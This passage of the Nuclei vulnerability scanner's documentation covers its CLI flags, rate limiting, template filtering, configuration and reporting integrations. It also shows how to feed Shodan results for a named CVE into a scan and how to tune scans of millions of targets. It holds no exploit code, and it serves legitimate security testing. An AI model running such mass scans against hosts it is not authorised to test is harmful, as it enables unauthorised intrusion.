-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-json write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-sandbox sandbox nuclei for safe templates execution
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default 0)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string optional nuclei memory profile dump file
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-un, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json write statistics data to an output file in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-m, -metrics expose nuclei metrics on a port
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
```
|
||||
|
||||
### Rate **Limits**
|
||||
|
||||
Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.
|
||||
|
||||
| Flag | Description |
|
||||
| ---------- | -------------------------------------------------------------------- |
|
||||
| rate-limit | Control the total number of request to send per seconds |
|
||||
| bulk-size | Control the number of hosts to process in parallel for each template |
|
||||
| c | Control the number of templates to process in parallel |
|
||||
|
||||
Feel free to play with these flags to tune your nuclei scan speed and accuracy.
|
||||
|
||||
<Tip>
|
||||
`rate-limit` flag takes precedence over the other two flags, the number of
|
||||
requests/seconds can't go beyond the value defined for `rate-limit` flag
|
||||
regardless the value of `c` and `bulk-size` flag.
|
||||
</Tip>
|
||||
|
||||
### Traffic **Tagging**
|
||||
|
||||
Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`
|
||||
|
||||
<Note>
|
||||
Setting custom header using config file
|
||||
|
||||
```yaml
|
||||
# Headers to include with each request.
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
|
||||
Setting custom header using CLI flag
|
||||
|
||||
```yaml
|
||||
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Template **Exclusion**
|
||||
|
||||
Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.
|
||||
|
||||
- Default [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) list.
|
||||
|
||||
<Warning>
|
||||
**nuclei-ignore** file is not supposed to be updated / edited / removed by
|
||||
user, to overwrite default ignore list, utilize [nuclei
|
||||
configuration](/getting-started/features#nuclei-config) file.{' '}
|
||||
</Warning>
|
||||
|
||||
Nuclei engine supports two ways to manually exclude templates from scan,
|
||||
|
||||
1. Exclude Templates (`-exclude-templates/exclude`)
|
||||
|
||||
**exclude-templates** flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.
|
||||
|
||||
2. Exclude Tags (`-exclude-tags/etags`)
|
||||
|
||||
**exclude-tags** flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.
|
||||
|
||||
<Note>
|
||||
Example of excluding single template
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of multiple template exclusion
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with single tag
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags xss
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with multiple tags
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags sqli,rce
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
To easily overwrite [nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore), Nuclei engine supports **include-tags** / **include-templates** flag.
|
||||
|
||||
<Note>
|
||||
Example of running blocked templates
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -include-tags iot,misc,fuzz
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Scan on internet database
|
||||
|
||||
Nuclei supports integration with [uncover module](https://github.com/projectdiscovery/uncover) that supports services like Shodan, Censys, Hunter, Zoomeye, many more to execute Nuclei on these databases.
|
||||
|
||||
Here are uncover options to use -
|
||||
|
||||
```console
|
||||
nuclei -h uncover
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
```
|
||||
|
||||
You need to set the API key of the engine you are using as an environment variable in your shell.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
export CENSYS_API_ID=xxx
|
||||
export CENSYS_API_SECRET=xxx
|
||||
export FOFA_EMAIL=xxx
|
||||
export FOFA_KEY=xxx
|
||||
export QUAKE_TOKEN=xxx
|
||||
export HUNTER_API_KEY=xxx
|
||||
export ZOOMEYE_API_KEY=xxx
|
||||
```
|
||||
|
||||
Required API keys can be obtained by signing up on following platform [Shodan](https://account.shodan.io/register), [Censys](https://censys.io/register), [Fofa](https://fofa.info/toLogin), [Quake](https://quake.360.net/quake/#/index), [Hunter](https://user.skyeye.qianxin.com/user/register?next=https%3A//hunter.qianxin.com/api/uLogin&fromLogin=1) and [ZoomEye](https://www.zoomeye.org/login) .
|
||||
|
||||
Example of template execution using a search query.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
|
||||
```
|
||||
|
||||
It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.
|
||||
|
||||
Example of template execution using template-defined search queries.
|
||||
|
||||
Template snippet of [CVE-2021-26855](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)
|
||||
|
||||
```yaml
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
|
||||
```console
|
||||
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
|
||||
nuclei -tags cve -uncover
|
||||
```
|
||||
|
||||
We can update the nuclei configuration file to include these tags for all scans.
|
||||
|
||||
## **Large scans** using Nuclei
|
||||
|
||||
Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.
|
||||
|
||||
For enterprises dealing with large-scale scanning, optimizing Nuclei can be a burdensome task, especially when scans change frequently. That's where [Nuclei Enterprise](https://nuclei.sh/enterprise) comes in. With its managed offering and dedicated support, Nuclei Enterprise minimizes the burden of optimizing Nuclei on large scans, making it an ideal choice for enterprise-level scanning needs.
|
||||
|
||||
|
||||
| Flag | Short | Description |
|
||||
| ------------- | ----- | --------------------------------------------------------- |
|
||||
| scan-strategy | -ss | Scan Strategy to Use (auto/host-spray/template-spray) |
|
||||
| bulk-size | -bs | Max Number of targets to scan in parallel |
|
||||
| concurrency | -c | Max Number of templates to use in parallel while scanning |
|
||||
| stream | - | stream mode - start elaborating without sorting the input |
|
||||
|
||||
<Note>
|
||||
These are common parameters that need to be tuned. Apart from these
|
||||
`-rate-limit`, `-retries`, `-timeout`, `-max-host-error` also need to be tuned
|
||||
based on targets that are being scanned
|
||||
</Note>
|
||||
|
||||
### Which Scan Strategy to Use?
|
||||
|
||||
**scan-strategy** option can have three possible values
|
||||
|
||||
- `host-spray` : All templates are iterated over each target.
|
||||
- `template-spray` : Each template is iterated over all targets.
|
||||
- `auto`(Default) : Placeholder of `template-spray` for now.
|
||||
|
||||
User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.
|
||||
|
||||
- When targets < 1000, `template-spray` should be used. This strategy is slightly faster than `host-spray` but uses more RAM and does not optimally reuse connections.
|
||||
- When targets > 1000, `host-spray` should be used. This strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.
|
||||
|
||||
### Concurrency & Bulk-Size
|
||||
|
||||
Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.
|
||||
|
||||
**If `scan-strategy` is template-spray**
|
||||
|
||||
- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)
|
||||
|
||||
**If `scan-strategy` is host-spray**
|
||||
|
||||
- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)
|
||||
|
||||
<Tip> `-concurrency` x `-bulk-size` \<\= 2500 (depending on system config) </Tip>
|
||||
|
||||
### Stream
|
||||
|
||||
This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.
|
||||
|
||||
## Nuclei **Config**
|
||||
|
||||
> Since release of [v2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) nuclei uses [goflags](https://github.com/projectdiscovery/goflags) for clean CLI experience and long/short formatted flags.
|
||||
>
|
||||
> [goflags](https://github.com/projectdiscovery/goflags) comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
|
||||
>
|
||||
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.
|
||||
|
||||
Here is an example config file:
|
||||
|
||||
```yaml
|
||||
# Headers to include with all HTTP request
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
|
||||
# Directory based template execution
|
||||
templates:
|
||||
- cves/
|
||||
- vulnerabilities/
|
||||
- misconfiguration/
|
||||
|
||||
# Tags based template execution
|
||||
tags: exposures,cve
|
||||
|
||||
# Template Filters
|
||||
tags: exposures,cve
|
||||
author: geeknik,pikpikcu,dhiyaneshdk
|
||||
severity: critical,high,medium
|
||||
|
||||
# Template Allowlist
|
||||
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
|
||||
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Template Denylist
|
||||
exclude-tags: info # Tag based exclusion
|
||||
exclude-templates: # Template based exclusion
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Rate Limit configuration
|
||||
rate-limit: 500
|
||||
bulk-size: 50
|
||||
concurrency: 50
|
||||
```
|
||||
|
||||
Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.
|
||||
|
||||
<Note>
|
||||
**Running nuclei with custom config file**
|
||||
|
||||
```
|
||||
nuclei -config project.yaml -list urls.txt
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
## Nuclei **Reporting**
|
||||
|
||||
Nuclei comes with reporting module support with the release of [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.
|
||||
|
||||
| **Platform** | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch | Splunk HEC |
|
||||
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an [example config file](https://github.com/projectdiscovery/nuclei/blob/master/v2/cmd/nuclei/issue-tracker-config.yaml) for all supported platforms.
|
||||
|
||||
For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitHub contains configuration options for GitHub issue tracker
|
||||
|
||||
github:
|
||||
username: '$user'
|
||||
owner: '$user'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'Nuclei'
|
||||
```
|
||||
|
||||
To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# elasticsearch contains configuration options for elasticsearch exporter
|
||||
elasticsearch:
|
||||
# IP for elasticsearch instance
|
||||
ip: 127.0.0.1
|
||||
# Port is the port of elasticsearch instance
|
||||
port: 9200
|
||||
# IndexName is the name of the elasticsearch index
|
||||
index-name: nuclei
|
||||
```
|
||||
|
||||
To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# splunkhec contains configuration options for splunkhec exporter
|
||||
splunkhec:
|
||||
# Hostname for splunkhec instance
|
||||
host: '$hec_host'
|
||||
# Port is the port of splunkhec instance
|
||||
port: 8088
|
||||
# IndexName is the name of the splunkhec index
|
||||
index-name: nuclei
|
||||
# SSL enables ssl for splunkhec connection
|
||||
ssl: true
|
||||
# SSLVerification disables SSL verification for splunkhec
|
||||
ssl-verification: true
|
||||
# HEC Token for the splunkhec instance
|
||||
token: '$hec_token'
|
||||
```
|
||||
|
||||
To forward results to Jira, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
The Jira reporting options allows for custom fields, as well as using variables from the Nuclei templates in those custom fields.
|
||||
The supported variables currently are: `$CVSSMetrics`, `$CVEID`, `$CWEID`, `$Host`, `$Severity`, `$CVSSScore`, `$Name`
|
||||
|
||||
In addition, Jira is strict when it comes to custom field entry. If the field is a dropdown, Jira accepts only the case sensitive specific string and the API call is slightly different. To support this, there are three types of customfields.
|
||||
|
||||
- `name` is the dropdown value
|
||||
- `id` is the ID value of the dropdown
|
||||
- `freeform` is if the customfield the entry of any value
|
||||
|
||||
To avoid duplication, the JQL query run can be slightly modified by the config file.
|
||||
The `CLOSED_STATUS` can be changed in the Jira template file using the `status-not` variable.
|
||||
`summary ~ TEMPLATE_NAME AND summary ~ HOSTNAME AND status != CLOSED_STATUS`
|
||||
|
||||
```yaml
|
||||
jira:
|
||||
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
|
||||
cloud: true
|
||||
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
|
||||
update-existing: false
|
||||
# URL is the jira application url
|
||||
url: https://localhost/jira
|
||||
# account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
account-id: test-account-id
|
||||
# email is the email of the user for Jira instance
|
||||
email: test@test.com
|
||||
# token is the token for Jira instance or password in case of on-prem Jira
|
||||
token: test-token
|
||||
#project-name is the name of the project.
|
||||
project-name: test-project-name
|
||||
#issue-type is the name of the created issue type (case sensitive)
|
||||
issue-type: Bug
|
||||
# SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# User custom fields for Jira Cloud instead
|
||||
severity-as-label: true
|
||||
# Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
status-not: Closed
|
||||
# Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
|
||||
# freeform can be used if the custom field is just a text entry
|
||||
# Variables can be used to pull various pieces of data from the finding itself.
|
||||
# Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
|
||||
custom_fields:
|
||||
customfield_00001:
|
||||
name: 'Nuclei'
|
||||
customfield_00002:
|
||||
freeform: $CVSSMetrics
|
||||
customfield_00003:
|
||||
freeform: $CVSSScore
|
||||
```
|
||||
|
||||
**Running nuclei with reporting module:**
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
|
||||
```
|
||||
|
||||
Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.
|
||||
|
||||
```yaml
|
||||
allow-list:
|
||||
severity: high,critical
|
||||
```
|
||||
|
||||
This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.
|
||||
|
||||
If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
|
||||
```
|
||||
|
||||
**<ins>Markdown Export</ins>**
|
||||
|
||||
Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.
|
||||
|
||||
Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
|
||||
```
|
||||
|
||||
**<ins>SARIF Export</ins>**
|
||||
|
||||
Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
|
||||
```
|
||||
|
||||
It is also possible to visualize Nuclei results using **SARIF** files.
|
||||
|
||||
1. By uploading a SARIF file to [SARIF Viewer](https://microsoft.github.io/sarif-web-component/)
|
||||
|
||||
2. By uploading a SARIF file to []Github Actions](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)
|
||||
|
||||
More info on the SARIF output is documented [here](https://github.com/projectdiscovery/nuclei/pull/2925).
|
||||
|
||||
<Note>
|
||||
These are **not official** viewers of Nuclei and `Nuclei` has no liability
|
||||
towards any of these options to visualize **Nuclei** results. These are just
|
||||
some publicly available options to visualize SARIF files.
|
||||
</Note>
|
||||
|
||||
## Scan **Metrics**
|
||||
|
||||
Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.
|
||||
|
||||
